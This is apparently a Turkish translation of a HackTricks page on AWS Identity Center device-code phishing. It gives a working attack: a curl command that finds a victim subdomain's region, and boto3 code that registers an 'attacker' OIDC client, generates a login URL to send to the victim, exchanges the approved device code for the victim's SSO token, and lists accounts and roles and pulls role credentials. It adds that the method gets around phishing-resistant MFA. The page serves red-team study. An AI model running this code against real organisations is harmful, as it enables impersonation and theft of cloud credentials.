AWS - Identity Center & SSO Unauthenticated Enum

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

AWS Cihaz Kodu Dolandırıcılığı

İlk olarak bu blog gönderisinde önerilen, AWS SSO kullanarak bir kullanıcıya bir bağlantı göndermek mümkündür, eğer kullanıcı kabul ederse saldırgan, kullanıcının kimliğini taklit etmek ve kullanıcının Kimlik Merkezi'nde erişebildiği tüm rolleri erişmek için bir jeton alabilecektir.

Bu saldırıyı gerçekleştirmek için gereksinimler şunlardır:

  • Kurbanın Kimlik Merkezi'ni kullanması gerekmektedir

  • Saldırganın kurban tarafından kullanılan alt alan adını bilmelidir <kurbanalt>.awsapps.com/start

Sadece bu bilgilerle, saldırgan kullanıcıya bir bağlantı gönderebilecek ve **kabul edilirse saldırganın AWS kullanıcı hesabına erişimi olacaktır.

Saldırı

  1. Alt alan adını bulma

Saldırganın ilk adımı, kurban şirketin Kimlik Merkezi'nde kullandığı alt alan adını bulmaktır. Bu, OSINT veya tahmin + BF ile yapılabilir çünkü çoğu şirket burada adını veya adının bir varyasyonunu kullanacaktır.

Bu bilgiyle, Kimlik Merkezinin yapılandırıldığı bölge elde edilebilir:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Kurban için bağlantı oluşturun ve Gönderin

Aşağıdaki kodu çalıştırarak bir AWS SSO giriş bağlantısı oluşturun böylece kurban kimlik doğrulaması yapabilir. Demo için, bu kodu bir python konsolunda çalıştırın ve daha sonra belirli nesneleri almak için çıkmayın:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Kurbanın bunu kabul etmesini bekleyin

Eğer kurban zaten AWS'e giriş yapmışsa, sadece izinleri kabul etmesi gerekecektir, eğer yapmamışsa, giriş yapması ve ardından izinleri kabul etmesi gerekecektir. Şu anda promp böyle görünüyor:

  1. SSO erişim belirteci alın

Eğer kurban promp'u kabul ettiyse, bu kodu çalıştırarak kullanıcıyı taklit eden bir SSO belirteci oluşturun:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO erişim belirteci 8 saat boyunca geçerlidir.

  1. Kullanıcıyı taklit et

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Önceki saldırının "unphisable MFA" (webAuth) kullanılsa bile çalıştığını bilmek eğlencelidir. Bu, önceki iş akışının kullanılan OAuth alanını asla terk etmemesi nedeniyledir. Diğer phishing saldırılarının aksine kullanıcının giriş alanını taklit etmesi gerektiği durumlarda, cihaz kodu iş akışı bir cihaz tarafından bilinen bir kodla hazırlandığı için ve kullanıcı farklı bir makinede bile giriş yapabilir. Eğer kabul edilirse, cihaz, sadece ilk kodu bildiği için, kullanıcı için kimlik bilgilerini alabilecektir.

Daha fazla bilgi için bu gönderiyi kontrol edin.

Otomatik Araçlar

Referanslar

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Last updated